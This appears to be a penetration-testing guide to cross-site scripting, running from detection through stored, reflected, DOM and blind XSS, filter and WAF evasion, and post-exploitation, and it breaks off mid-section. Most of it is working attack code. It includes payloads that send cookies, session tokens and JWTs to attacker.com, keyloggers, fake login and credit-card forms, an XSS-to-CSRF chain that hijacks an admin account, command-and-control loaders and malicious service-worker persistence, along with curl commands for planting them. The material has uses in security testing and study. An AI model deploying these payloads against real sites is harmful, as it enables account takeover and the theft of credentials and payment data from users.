Cross-site scripting (XSS)
Understanding XSS
What is XSS?
Cross-Site Scripting (XSS) exploits the way web applications handle user input by injecting malicious client-side scripts into web pages viewed by other users. When applications fail to properly validate, sanitize, or encode user input, attackers can manipulate the intended page structure to execute arbitrary JavaScript code.
Vulnerable Code Example
// PHP vulnerable code
$search = $_GET['search'];
echo "<div>Search results for: " . $search . "</div>";
Normal Request:
URL:
GET /search.php?search=products
Output:
<div>Search results for: products</div>
Malicious Request:
URL:
GET /search.php?search=<script>alert('XSS')</script>
Output:
<div>Search results for: <script>alert('XSS')</script></div>
How XSS Works
XSS attacks exploit the trust a user has for a particular site. The malicious script executes in the victim's browser with the same privileges as legitimate scripts from the trusted domain, allowing access to:
Session Cookies - Steal authentication tokens
DOM Content - Access and modify page content
User Input - Capture form data and keystrokes
Browser APIs - Access camera, microphone, location
Cross-Origin Requests - Make requests to other domains
Common Vulnerable Input Points
GET Parameters
URL query string parameters
Path parameters in RESTful APIs
Fragment identifiers (#hash)
POST Parameters
Form input fields (text, textarea, hidden)
File upload parameters
JSON request bodies
XML data elements
HTTP Headers
User-Agent strings
Referer headers
X-Forwarded-For headers
Custom application headers
Accept-Language headers
Cookies
Session identifiers
User preference cookies
Tracking cookies
Authentication tokens
WebSocket Messages
Real-time chat messages
Live notifications
Dynamic content updates
XSS Detection Methodology
Detection involves systematically identifying input points where user-supplied data influences HTML output and determining if proper input validation and output encoding are implemented.
Manual Detection Techniques
Basic Syntax Testing
Single Quote Testing:
# Basic single quote injection
curl "https://<target>/search.php?q=test'"
curl "https://<target>/search.php?q=test''"
curl "https://<target>/search.php?q=test'''"
# POST parameter testing
curl -X POST -d "comment=test'&author=user" https://<target>/comment.php
curl -X POST -d "message=hello'world&recipient=admin" https://<target>/message.php
Double Quote Testing:
# Double quote variations
curl "https://<target>/search.php?q=test\""
curl "https://<target>/search.php?q=test\"\""
curl "https://<target>/search.php?q=test\\\""
# JSON parameter testing
curl -X POST -H "Content-Type: application/json" \
-d '{"search": "test\"", "filter": "all"}' \
https://<target>/api/search
HTML Tag Testing:
# Basic HTML tag injection
curl "https://<target>/search.php?q=<test>"
curl "https://<target>/search.php?q=<script>"
curl "https://<target>/search.php?q=<img>"
# Tag with attributes
curl "https://<target>/search.php?q=<img src=x>"
curl "https://<target>/search.php?q=<div onclick=alert(1)>"
Script Tag Testing
Basic Script Injection:
# Simple script tags
curl "https://<target>/search.php?q=<script>alert(1)</script>"
curl "https://<target>/search.php?q=<script>alert('XSS')</script>"
curl "https://<target>/search.php?q=<script>console.log('test')</script>"
# Script with different content
curl "https://<target>/search.php?q=<script>document.domain</script>"
curl "https://<target>/search.php?q=<script>window.location</script>"
Event Handler Testing:
# Mouse events
curl "https://<target>/search.php?q=<img src=x onerror=alert(1)>"
curl "https://<target>/search.php?q=<div onmouseover=alert(1)>test</div>"
curl "https://<target>/search.php?q=<span onclick=alert(1)>click</span>"
# Load events
curl "https://<target>/search.php?q=<body onload=alert(1)>"
curl "https://<target>/search.php?q=<svg onload=alert(1)>"
curl "https://<target>/search.php?q=<iframe onload=alert(1)>"
Context-Specific Testing
HTML Context Testing:
# Direct HTML injection
curl "https://<target>/profile.php?name=<h1>Hacked</h1>"
curl "https://<target>/profile.php?bio=<script>alert(document.cookie)</script>"
# HTML attribute injection
curl "https://<target>/profile.php?name=user\" onmouseover=\"alert(1)"
curl "https://<target>/profile.php?color=red\" onclick=\"alert(1)"
JavaScript Context Testing:
# JavaScript string context
curl "https://<target>/search.php?q=test'; alert(1); //"
curl "https://<target>/search.php?q=test\"; alert(1); //"
# JavaScript variable context
curl "https://<target>/profile.php?name='; alert(1); var dummy='"
curl "https://<target>/profile.php?name=\"; alert(1); var dummy=\""
URL Context Testing:
# href attribute injection
curl "https://<target>/profile.php?website=javascript:alert(1)"
curl "https://<target>/profile.php?url=data:text/html,<script>alert(1)</script>"
# src attribute injection
curl "https://<target>/profile.php?avatar=javascript:alert(1)"
Response Analysis Techniques
Content Analysis:
# Compare response sizes for different inputs
normal_size=$(curl -s "https://<target>/search.php?q=normal" | wc -c)
payload_size=$(curl -s "https://<target>/search.php?q=<script>alert(1)</script>" | wc -c)
echo "Normal response size: $normal_size"
echo "Payload response size: $payload_size"
# Check if payload appears in source
curl -s "https://<target>/search.php?q=<script>alert(1)</script>" | grep "<script>"
curl -s "https://<target>/search.php?q=<img src=x onerror=alert(1)>" | grep "onerror"
# Check for encoding
curl -s "https://<target>/search.php?q=<script>" | grep -E "<|<|%3C"
HTTP Status Code Analysis:
# Check status codes for different payloads
curl -s -o /dev/null -w "%{http_code}" "https://<target>/search.php?q=normal"
curl -s -o /dev/null -w "%{http_code}" "https://<target>/search.php?q=<script>"
curl -s -o /dev/null -w "%{http_code}" "https://<target>/search.php?q=<img src=x>"
# Look for server errors
curl -s "https://<target>/search.php?q=<script>" | grep -i -E "(error|exception|warning|notice)"
curl -s "https://<target>/search.php?q=<>" | grep -i "parse error"
Stored XSS (Persistent)
Stored XSS occurs when malicious scripts are permanently stored on the target server (in databases, files, or other storage) and executed whenever users access the stored content. This type affects multiple users and doesn't require social engineering.
Detection and Baseline Establishment
Identifying Storage Points
User Profile Data:
# Register account with XSS payload
curl -X POST -d "username=testuser&password=pass123&email=test@test.com&bio=<script>alert('Stored XSS')</script>" \
https://<target>/register.php
# Login and view profile
curl -X POST -d "username=testuser&password=pass123" \
https://<target>/login.php -c cookies.txt
curl -b cookies.txt https://<target>/profile.php?user=testuser
Comment Systems:
# Submit comment with payload
curl -X POST -d "comment=Great post! <script>alert(document.cookie)</script>&author=TestUser&email=test@test.com" \
https://<target>/submit_comment.php
# View comments page
curl https://<target>/comments.php | grep -i script
Forum Posts:
# Create forum post with XSS
curl -X POST -b session_cookie \
-d "title=Test Post&content=Check this out: <img src=x onerror=alert('XSS')>&category=general" \
https://<target>/forum/new_post.php
# View forum thread
curl https://<target>/forum/view_thread.php?id=1
Message Boards and Chat Systems
Private Messages:
# Send private message with payload
curl -X POST -b session_cookie \
-d "recipient=admin&subject=Important&message=<svg onload=alert('Private XSS')>" \
https://<target>/send_message.php
Live Chat Systems:
# Send chat message with XSS
curl -X POST -b session_cookie \
-d "message=Hello everyone! <script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie</script>" \
https://<target>/chat/send.php
File Upload Systems
File Description Fields:
# Upload file with malicious description
curl -X POST -b session_cookie \
-F "file=@test.jpg" \
-F "description=<script>alert('File Upload XSS')</script>" \
https://<target>/upload.php
Filename Manipulation:
# Upload file with XSS in filename
mv test.jpg "<script>alert(1)</script>.jpg"
curl -X POST -b session_cookie \
-F "file=@<script>alert(1)</script>.jpg" \
https://<target>/upload.php
Exploitation Strategies
Multi-User Impact Testing
Administrative Interface Targeting:
# Store payload that targets admin users
curl -X POST -d "feedback=<script>if(document.cookie.includes('admin')){new Image().src='http://attacker.com/admin.php?cookie='+document.cookie}</script>&email=user@test.com" \
https://<target>/feedback.php
# Store payload in user profile viewed by admins
curl -X POST -b user_session \
-d "bio=<script>if(window.location.href.includes('admin')){alert('Admin XSS triggered!')}</script>" \
https://<target>/update_profile.php
Cross-User Data Theft:
# Payload to steal other users' data
payload="<script>
fetch('/api/user/profile')
.then(response => response.json())
.then(data => {
new Image().src = 'http://attacker.com/steal.php?data=' + btoa(JSON.stringify(data));
});
</script>"
curl -X POST -d "comment=$payload&author=malicious" https://<target>/comment.php
Persistent Session Hijacking
Cookie Stealing Payload:
<script>
document.addEventListener('DOMContentLoaded', function() {
var cookies = document.cookie;
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookies=' + encodeURIComponent(cookies) + '&url=' + encodeURIComponent(window.location.href);
});
</script>
Keylogger Installation:
<script>
var keys = '';
document.addEventListener('keypress', function(e) {
keys += e.key;
if (keys.length > 50) {
new Image().src = 'http://attacker.com/keylog.php?keys=' + encodeURIComponent(keys);
keys = '';
}
});
</script>
Reflected XSS (Non-Persistent)
Reflected XSS occurs when malicious scripts are immediately reflected back to the user without being stored on the server. The attack requires social engineering to trick users into clicking malicious links or submitting malicious forms.
Detection Methodology
Parameter-Based Detection
URL Parameter Testing:
# Basic reflection testing
curl "https://<target>/search.php?q=REFLECTED_TEST_STRING"
curl "https://<target>/error.php?message=REFLECTED_TEST_STRING"
curl "https://<target>/results.php?search=REFLECTED_TEST_STRING"
# Check if input is reflected without encoding
curl -s "https://<target>/search.php?q=<test123>" | grep "<test123>"
curl -s "https://<target>/search.php?q=\"test123\"" | grep "\"test123\""
Form Parameter Testing:
# POST form reflection testing
curl -X POST -d "search=REFLECTED_TEST&category=all" https://<target>/search.php
curl -X POST -d "email=test@test.com&message=REFLECTED_MESSAGE" https://<target>/contact.php
# Check for immediate reflection in response
curl -s -X POST -d "search=<testpayload>" https://<target>/search.php | grep "<testpayload>"
Error Message Exploitation
404 Error Page Testing:
# Test if URL path is reflected in 404 pages
curl "https://<target>/nonexistent/<script>alert(1)</script>"
curl "https://<target>/404/<img src=x onerror=alert(1)>"
# Test if query parameters are reflected in error messages
curl "https://<target>/nonexistent?error=<script>alert(1)</script>"
Search Result Messages:
# Test search result messages
curl "https://<target>/search.php?q=<script>alert('No results for XSS')</script>"
curl "https://<target>/search.php?q=<img src=x onerror=alert('Search XSS')>"
# Test advanced search forms
curl -X POST -d "query=<script>alert(1)</script>&type=advanced" https://<target>/search.php
Exploitation Techniques
URL-Based Attack Vectors
Direct Link Attacks:
# Create malicious URLs for distribution
malicious_url="https://<target>/search.php?q=<script>window.location='http://attacker.com/phish.php?cookie='+document.cookie</script>"
# URL encode for better delivery
encoded_url="https://<target>/search.php?q=%3Cscript%3Ewindow.location%3D%27http%3A//attacker.com/phish.php%3Fcookie%3D%27%2Bdocument.cookie%3C/script%3E"
# Test the malicious URL
curl "$encoded_url"
Shortened URL Attacks:
Use URL shorteners to hide malicious payload
Create bit.ly, tinyurl, or custom shortener links
Social Engineering Delivery
Email-Based Delivery:
<!-- Email template with XSS link -->
<p>Dear User,</p>
<p>Please click <a href="https://<target>/search.php?q=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>">here</a> to view your search results.</p>
QR Code Attacks:
# Generate QR code containing malicious URL
qr_payload="https://<target>/search.php?q=<script>alert('QR Code XSS')</script>"
# Use online QR generators or qrencode tool
Form-Based Reflection Attacks
Contact Form Exploitation:
# Exploit contact forms that show "thank you" messages
curl -X POST \
-d "name=<script>alert('Contact XSS')</script>" \
-d "email=test@test.com" \
-d "message=Hello" \
https://<target>/contact.php
# Newsletter subscription reflection
curl -X POST \
-d "email=test@test.com<script>alert('Newsletter XSS')</script>" \
https://<target>/subscribe.php
DOM-based XSS
DOM-based XSS occurs when the vulnerability exists in client-side code rather than server-side code. The malicious script modifies the DOM environment in the victim's browser, and the server never sees the malicious payload.
Source and Sink Analysis
Identifying DOM Sources
URL Fragment Sources:
location.hash
location.search
location.pathname
window.location.href
document.URL
document.documentURI
document.baseURI
Testing URL Fragment Injection:
# Test hash-based DOM XSS
curl "https://<target>/page.html#<script>alert('Hash XSS')</script>"
curl "https://<target>/spa.html#/profile/<script>alert(1)</script>"
# Test with encoded payloads
curl "https://<target>/page.html#%3Cscript%3Ealert(1)%3C/script%3E"
Message Event Sources:
// Test postMessage vulnerabilities
window.addEventListener('message', function(event) {
// Vulnerable: directly using event.data
document.getElementById('content').innerHTML = event.data;
});
Identifying DOM Sinks
Dangerous Sink Functions:
eval()
setTimeout()
setInterval()
Function()
document.write()
document.writeln()
innerHTML
outerHTML
insertAdjacentHTML()
HTML Content Sinks:
# Test innerHTML sink
curl "https://<target>/page.html#name=<img src=x onerror=alert('innerHTML XSS')>"
# Test document.write sink
curl "https://<target>/page.html#content=<script>alert('document.write XSS')</script>"
Client-Side Template Injection
AngularJS Template Injection
# AngularJS expression injection
curl "https://<target>/angular-app.html#name={{constructor.constructor('alert(1)')()}}"
curl "https://<target>/angular-app.html#search={{7*7}}"
# AngularJS 1.6+ bypass
curl "https://<target>/angular-app.html#name={{constructor.constructor('alert(1)')()}}"
Vue.js Template Injection
# Vue.js expression injection
curl "https://<target>/vue-app.html#name={{constructor.constructor('alert(1)')()}}"
curl "https://<target>/vue-app.html#data={{this.constructor.constructor('alert(1)')()}}"
Advanced DOM Exploitation
JavaScript Framework Exploitation
React XSS Vectors:
# Test React dangerouslySetInnerHTML
curl "https://<target>/react-app.html#content=<img src=x onerror=alert('React XSS')>"
# React href injection
curl "https://<target>/react-app.html#link=javascript:alert('React href XSS')"
jQuery Sink Exploitation:
# jQuery html() sink
curl "https://<target>/jquery-app.html#content=<script>alert('jQuery XSS')</script>"
# jQuery append() sink
curl "https://<target>/jquery-app.html#data=<img src=x onerror=alert('jQuery append XSS')>"
Browser API Exploitation
LocalStorage/SessionStorage Injection:
# Test storage-based DOM XSS
curl "https://<target>/app.html#action=store&key=user&value=<script>alert('Storage XSS')</script>"
# Test if stored data is later used unsafely
curl "https://<target>/app.html#action=load&key=user"
WebSocket Message Injection:
// Test WebSocket message handling
var ws = new WebSocket('wss://target/websocket');
ws.send('{"type":"message","content":"<script>alert(\'WebSocket XSS\')</script>"}');
XSS Payload Arsenal
Basic Payloads
Alert Box Payloads
<script>alert('XSS')</script>
<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert('XSS')>
<img src=x onerror=alert(1)>
<img/src=x/onerror=alert(1)>
<img src="x" onerror="alert('XSS')">
<svg onload=alert('XSS')>
<svg/onload=alert(1)>
<svg onload="alert('XSS')">
<body onload=alert('XSS')>
<body/onload=alert(1)>
Event Handler Payloads
Mouse Events:
<div onmouseover=alert('XSS')>Hover me</div>
<span onclick=alert('XSS')>Click me</span>
<p onmousedown=alert('XSS')>Press me</p>
Focus Events:
<input onfocus=alert('XSS') autofocus>
<select onfocus=alert('XSS') autofocus>
<textarea onfocus=alert('XSS') autofocus>
<keygen onfocus=alert('XSS') autofocus>
Load Events:
<iframe onload=alert('XSS')>
<object onload=alert('XSS')>
<embed onload=alert('XSS')>
Error Events:
<video onerror=alert('XSS')><source>
<audio onerror=alert('XSS')><source>
<track onerror=alert('XSS')>
Context-Specific Payloads
HTML Context Payloads
<script>alert('HTML Context')</script>
<img src=x onerror=alert('HTML Context')>
<svg onload=alert('HTML Context')>
<details open ontoggle=alert('HTML5 XSS')>
<marquee onstart=alert('HTML5 XSS')>
<meter onclick=alert('HTML5 XSS')>
Attribute Context Payloads
" onmouseover="alert('Attribute XSS')" "
' onmouseover='alert('Attribute XSS')' '
"/> <script>alert('Attribute XSS')</script> <div a="
javascript:alert('href XSS')
data:text/html,<script>alert('data URI XSS')</script>
vbscript:MsgBox("VBScript XSS")
JavaScript Context Payloads
'; alert('JS String XSS'); //
"; alert('JS String XSS'); //
'; alert('JS String XSS'); var dummy='
'; alert('JS Variable XSS'); var x='
"; alert('JS Variable XSS'); var x="
'); alert('JS Function XSS'); foo('
"); alert('JS Function XSS'); foo("
CSS Context Payloads
</style><script>alert('CSS XSS')</script><style>
expression(alert('CSS Expression XSS'))
behavior:url(javascript:alert('CSS Behavior XSS'))
</style><svg onload=alert('CSS SVG XSS')><style>
Advanced Payloads
Cookie Stealing Payloads
<!-- Basic cookie theft -->
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
<img src=x onerror="new Image().src='http://attacker.com/steal.php?cookie='+document.cookie">
<!-- Fetch-based cookie theft -->
<script>
fetch('http://attacker.com/steal.php', {
method: 'POST',
body: 'cookie=' + document.cookie + '&url=' + window.location.href
});
</script>
<!-- XMLHttpRequest cookie theft -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/steal.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('cookie=' + encodeURIComponent(document.cookie));
</script>
Session Hijacking Payloads
<!-- Session token extraction -->
<script>
var sessionToken = localStorage.getItem('sessionToken') ||
sessionStorage.getItem('sessionToken') ||
document.cookie.match(/session=([^;]*)/)?.[1];
if (sessionToken) {
new Image().src = 'http://attacker.com/session.php?token=' + sessionToken;
}
</script>
<!-- JWT token theft -->
<script>
var jwt = localStorage.getItem('jwt') ||
sessionStorage.getItem('jwt') ||
document.cookie.match(/jwt=([^;]*)/)?.[1];
if (jwt) {
fetch('http://attacker.com/jwt.php', {
method: 'POST',
body: JSON.stringify({token: jwt, url: location.href}),
headers: {'Content-Type': 'application/json'}
});
}
</script>
Credential Harvesting Payloads
<!-- Fake login form injection -->
<script>
document.body.innerHTML += `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;">
<div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;border-radius:5px;">
<h3>Session Expired - Please Login Again</h3>
<form id="fakeLogin" action="http://attacker.com/harvest.php" method="post">
<input type="text" name="username" placeholder="Username" required><br><br>
<input type="password" name="password" placeholder="Password" required><br><br>
<input type="submit" value="Login">
</form>
</div>
</div>`;
</script>
<!-- Credit card form injection -->
<script>
if (window.location.href.includes('checkout') || window.location.href.includes('payment')) {
document.body.innerHTML += `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;">
<h2>Payment Verification Required</h2>
<form action="http://attacker.com/cc.php" method="post">
<input type="text" name="cardnumber" placeholder="Card Number" required><br>
<input type="text" name="expiry" placeholder="MM/YY" required><br>
<input type="text" name="cvv" placeholder="CVV" required><br>
<input type="submit" value="Verify Payment">
</form>
</div>`;
}
</script>
Keylogger Payloads
<!-- Advanced keylogger -->
<script>
var keys = '';
var target = '';
document.addEventListener('keydown', function(e) {
keys += e.key;
// Capture target element
if (e.target) {
target = e.target.tagName + (e.target.id ? '#' + e.target.id : '') +
(e.target.className ? '.' + e.target.className : '');
}
// Send data every 50 keystrokes or on Enter
if (keys.length >= 50 || e.key === 'Enter') {
fetch('http://attacker.com/keylog.php', {
method: 'POST',
body: JSON.stringify({
keys: keys,
target: target,
url: window.location.href,
timestamp: new Date().toISOString()
}),
headers: {'Content-Type': 'application/json'}
});
keys = '';
}
});
// Capture form submissions
document.addEventListener('submit', function(e) {
var formData = new FormData(e.target);
var data = {};
for (var pair of formData.entries()) {
data[pair[0]] = pair[1];
}
fetch('http://attacker.com/forms.php', {
method: 'POST',
body: JSON.stringify({
formData: data,
url: window.location.href,
timestamp: new Date().toISOString()
}),
headers: {'Content-Type': 'application/json'}
});
});
</script>
Filter Evasion & Bypass Techniques
Filter Analysis & Bypass Strategies
Case Manipulation Bypasses
<ScRiPt>alert('XSS')</ScRiPt>
<SCRIPT>alert('XSS')</SCRIPT>
<sCrIpT>alert('XSS')</sCrIpT>
<img src=x OnErRoR=alert('XSS')>
<div OnMoUsEoVeR=alert('XSS')>
<body OnLoAd=alert('XSS')>
<ImG sRc=x OnErRoR=alert('XSS')>
<SvG oNlOaD=alert('XSS')>
<DiV oNcLiCk=alert('XSS')>
HTML Entity Encoding Bypasses
<script>alert('XSS')</script>
<script>alert('XSS')</script>
<script>alert('XSS')</script>
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<script>alert('XSS')</script>
URL Encoding Bypasses
%3Cscript%3Ealert('XSS')%3C/script%3E
%3Cimg%20src%3Dx%20onerror%3Dalert('XSS')%3E
%253Cscript%253Ealert('XSS')%253C/script%253E
%253Cimg%2520src%253Dx%2520onerror%253Dalert('XSS')%253E
%3Cscript%3Ealert(%27XSS%27)%3C/script%3E
%3Cimg%20src%3Dx%20onerror%3Dalert(%22XSS%22)%3E
Unicode and UTF-8 Bypasses
<script>alert('\u0058\u0053\u0053')</script>
<script>alert('\x58\x53\x53')</script>
<script>alert('<script>')</script>
<img src=x onerror=alert('🚨')>
<scr\u0131pt>alert('XSS')</scr\u0131pt>
Whitespace and Character Bypasses
<script >alert('XSS')</script>
(tab characters)<img src=x onerror=alert('XSS')>
(tab characters)<script\n>alert('XSS')</script>
(newline characters)<script\r>alert('XSS')</script>
(carriage return)<script\f>alert('XSS')</script>
(form feed)<img src=x\t\n onerror=alert('XSS')>
(multiple whitespace types)
WAF Circumvention Techniques
Comment-Based WAF Bypasses
<script>/**/alert('XSS')/**/</script>
<img/**/src=x/**/onerror=alert('XSS')>
<script><!---->alert('XSS')<!----></script>
<img src=x onerror=<!---->alert('XSS')<!---->>
<script>/*<!-- */alert('XSS')/*--></script>
Attribute Delimiter Bypasses
<img src=x onerror=alert('XSS')>
(no quotes)<div onclick=alert('XSS')>
(no quotes)<img src="x" onerror='alert("XSS")'>
(mixed quotes)<div onclick='alert("XSS")'>
(mixed quotes)<img src=
xonerror=
alert('XSS')>
(backticks)
Tag Structure Bypasses
<img/src=x/onerror=alert('XSS')/>
(self-closing tags)<svg/onload=alert('XSS')/>
<input/onfocus=alert('XSS')/autofocus>
<img src=x onerror=alert('XSS'//
(malformed tags)<script>alert('XSS')</script
(malformed)<svg onload=alert('XSS')
(malformed)
Alternative Event Handlers
<details open ontoggle=alert('XSS')>
<marquee onstart=alert('XSS')>XSS</marquee>
<input oncut=alert('XSS')>
<input onpaste=alert('XSS')>
<input oninput=alert('XSS')>
<video onplay=alert('XSS')><source>
<audio oncanplay=alert('XSS')><source>
<track onload=alert('XSS')>
<form onsubmit=alert('XSS')>
<input onchange=alert('XSS')>
<select onchange=alert('XSS')><option>
Encoding & Obfuscation Methods
JavaScript Obfuscation
<script>alert('X'+'S'+'S')</script>
(string concatenation)<script>alert('X'+'SS')</script>
<script>alert(String.fromCharCode(88,83,83))</script>
(character code conversion)<script>alert(String.fromCharCode(65,108,101,114,116)+'(1)')</script>
<script>eval(atob('YWxlcnQoJ1hTUycpOw=='))</script>
(Base64 encoding)<script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>
<script>eval('\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29')</script>
(hex encoding)<script>alert
XSS</script>
(template literals)<script>eval
alert`XSS`</script>
Alternative JavaScript Execution
<img src=x onerror=setTimeout('alert("XSS")',1)>
<img src=x onerror=setInterval('alert("XSS")',1)>
<img src=x onerror=Function('alert("XSS")')()>
<img src=x onerror=window['Function']('alert("XSS")')()>
<img src=x onerror=new%20Function('alert("XSS")')()>
<img src=x onerror=function*(){yield%20alert('XSS')}().next()>
CSS-Based Bypasses
<div style="background:expression(alert('XSS'))">
(CSS expression - IE)<style>@import"javascript:alert('XSS')";</style>
(CSS import with JavaScript)<div style="behavior:url('javascript:alert(\"XSS\")')">
(CSS behavior)<style>@import"data:text/css,*{color:red;background:url('javascript:alert(\"XSS\")')}"</style>
Blind XSS
Blind XSS occurs when the injected payload executes in a different context than where it was submitted, often in administrative panels, email systems, or log viewers where the attacker cannot directly observe the execution.
Detection Techniques
Payload Deployment Strategies
Contact Form Injection:
# Submit blind XSS payload in contact forms
blind_payload='<script>var img=new Image();img.src="http://attacker.com/blind.php?cookie="+document.cookie+"&url="+encodeURIComponent(window.location.href)+"&referrer="+encodeURIComponent(document.referrer);</script>'
curl -X POST \
-d "name=John Doe" \
-d "email=john@test.com" \
-d "subject=Important Question" \
-d "message=$blind_payload" \
https://<target>/contact.php
User Registration Blind XSS:
# Register with blind XSS in various fields
curl -X POST \
-d "username=testuser" \
-d "password=password123" \
-d "email=test@test.com" \
-d "first_name=$blind_payload" \
-d "last_name=User" \
-d "bio=Normal user bio" \
https://<target>/register.php
# Try different fields
curl -X POST \
-d "username=testuser2" \
-d "password=password123" \
-d "email=test2@test.com" \
-d "company=$blind_payload" \
-d "job_title=Developer" \
https://<target>/register.php
Support Ticket Systems:
# Submit support tickets with blind XSS
curl -X POST -b session_cookie \
-d "subject=Technical Issue" \
-d "priority=high" \
-d "description=I'm experiencing issues with $blind_payload" \
-d "category=technical" \
https://<target>/support/create_ticket.php
Advanced Blind XSS Payloads
Comprehensive Information Gathering:
<script>
var data = {
url: window.location.href,
title: document.title,
referrer: document.referrer,
cookie: document.cookie,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage),
userAgent: navigator.userAgent,
timestamp: new Date().toISOString(),
dom: document.documentElement.outerHTML.substring(0, 5000)
};
// Send comprehensive data
fetch('http://attacker.com/blind_collect.php', {
method: 'POST',
body: JSON.stringify(data),
headers: {'Content-Type': 'application/json'}
}).catch(function() {
// Fallback to image request
new Image().src = 'http://attacker.com/blind_fallback.php?' +
'url=' + encodeURIComponent(data.url) +
'&cookie=' + encodeURIComponent(data.cookie);
});
</script>
Administrative Panel Detection:
<script>
// Detect if running in admin context
var isAdmin = window.location.href.toLowerCase().includes('admin') ||
document.title.toLowerCase().includes('admin') ||
document.body.innerHTML.toLowerCase().includes('dashboard') ||
document.cookie.toLowerCase().includes('admin');
if (isAdmin) {
// Enhanced data collection for admin context
var adminData = {
url: window.location.href,
title: document.title,
cookie: document.cookie,
forms: Array.from(document.forms).map(f => ({
action: f.action,
method: f.method,
inputs: Array.from(f.elements).map(e => ({
name: e.name,
type: e.type,
value: e.type !== 'password' ? e.value : '[HIDDEN]'
}))
})),
links: Array.from(document.links).slice(0, 20).map(l => l.href)
};
fetch('http://attacker.com/admin_blind.php', {
method: 'POST',
body: JSON.stringify(adminData),
headers: {'Content-Type': 'application/json'}
});
}
</script>
Exploitation Methods
Email System Exploitation
Email Template Injection:
# Newsletter subscription with XSS
curl -X POST \
-d "email=victim@test.com" \
-d "name=$blind_payload" \
-d "preferences=all" \
https://<target>/newsletter/subscribe.php
# Password reset form injection
curl -X POST \
-d "email=admin@target.com<script>/* blind XSS */</script>" \
https://<target>/forgot_password.php
Email Header Injection:
# User-Agent in email notifications
curl -H "User-Agent: Mozilla/5.0 $blind_payload" \
-X POST \
-d "email=test@test.com&message=Test message" \
https://<target>/contact.php
Log File Exploitation
Access Log Injection:
# Inject XSS into access logs via User-Agent
curl -H "User-Agent: $blind_payload" \
https://<target>/any_page.php
# Inject via Referer header
curl -H "Referer: http://evil.com/$blind_payload" \
https://<target>/any_page.php
# Inject via custom headers
curl -H "X-Forwarded-For: 127.0.0.1 $blind_payload" \
https://<target>/any_page.php
Error Log Injection:
# Trigger errors with XSS payloads
curl "https://<target>/nonexistent.php?error=$blind_payload"
curl -X POST \
-d "malformed_data=$blind_payload" \
https://<target>/process_form.php
Third-Party Integration Exploitation
Analytics Dashboard Injection:
# Inject into analytics via custom events
curl -X POST \
-d "event=user_action" \
-d "user_id=123" \
-d "action=$blind_payload" \
https://<target>/analytics/track.php
CRM Integration Injection:
# Inject into CRM via lead forms
curl -X POST \
-d "lead_source=website" \
-d "company=$blind_payload" \
-d "contact_name=John Doe" \
-d "phone=555-1234" \
https://<target>/leads/submit.php
Advanced XSS Techniques
XSS Chaining
Multi-Stage Attack Chains
Initial Access → Privilege Escalation:
<!-- Stage 1: Initial XSS execution -->
<script>
// Check if user has admin privileges
fetch('/api/user/profile')
.then(response => response.json())
.then(data => {
if (data.role === 'admin') {
// Stage 2: Admin-specific exploitation
loadAdminExploit();
} else {
// Stage 2: Regular user exploitation
loadUserExploit();
}
});
function loadAdminExploit() {
// Load additional payload for admin users
var script = document.createElement('script');
script.src = 'http://attacker.com/admin_payload.js';
document.head.appendChild(script);
}
function loadUserExploit() {
// Load user-specific payload
var script = document.createElement('script');
script.src = 'http://attacker.com/user_payload.js';
document.head.appendChild(script);
}
</script>
XSS → CSRF → Data Exfiltration Chain:
<script>
// Stage 1: Steal CSRF token
var csrfToken = document.querySelector('meta[name="csrf-token"]').content;
// Stage 2: Perform CSRF attack to change admin email
fetch('/admin/change_email', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-CSRF-Token': csrfToken
},
body: 'new_email=attacker@evil.com&confirm_email=attacker@evil.com'
})
.then(response => {
if (response.ok) {
// Stage 3: Extract sensitive data
return fetch('/admin/users/export');
}
})
.then(response => response.text())
.then(data => {
// Stage 4: Exfiltrate data
fetch('http://attacker.com/exfil.php', {
method: 'POST',
body: data
});
});
</script>
Progressive Payload Loading
Conditional Payload Loading:
<script>
// Initial reconnaissance
var recon = {
url: window.location.href,
title: document.title,
cookie: document.cookie,
storage: {
local: Object.keys(localStorage),
session: Object.keys(sessionStorage)
},
forms: document.forms.length,
scripts: document.scripts.length
};
// Send reconnaissance data
fetch('http://attacker.com/recon.php', {
method: 'POST',
body: JSON.stringify(recon),
headers: {'Content-Type': 'application/json'}
})
.then(response => response.json())
.then(commands => {
// Execute commands from C&C server
commands.forEach(cmd => {
if (cmd.type === 'eval') {
eval(cmd.payload);
} else if (cmd.type === 'load') {
var script = document.createElement('script');
script.src = cmd.url;
document.head.appendChild(script);
}
});
});
</script>
Post-Exploitation Techniques
Persistent Access Methods
Service Worker Persistence:
<script>
if ('serviceWorker' in navigator) {
// Register malicious service worker
navigator.serviceWorker.register('data:application/javascript,' +
encodeURIComponent(`
self.addEventListener('fetch', function(event) {
// Inject XSS into all responses
if (event.request.url.includes('${location.hostname}')) {
event.respondWith(
fetch(event.request).then(function(response) {
return response.text().then(function(text) {
var modifiedText = text.replace('</body>',
'<script src="http://attacker.com/persistent.js"></script></body>');
return new Response(modifiedText, {
status: response.status,
statusText: response.statusText,
headers: response.headers
});
});
})
);
}
});
`)
);
}
</script>
LocalStorage Persistence:
<script>
// Store persistent payload in localStorage
localStorage.setItem('analytics_config', JSON.stringify({
enabled: true,
endpoint: 'http://attacker.com/track.php',
payload: 'fetch(endpoint + "?data=" + btoa(JSON.stringify({url:location.href,cookie:document.cookie})))'
}));
// Inject payload execution into existing scripts
var originalSetItem = localStorage.setItem;
localStorage.setItem = function(key, value) {
if (key === 'analytics_config') {
var config = JSON.parse(value);
if (config.payload) {
eval(config.payload);
}
}
return originalSetItem.apply(this, arguments);
};
</script>
Advanced Data Exfiltration
DNS Exfiltration:
<script>
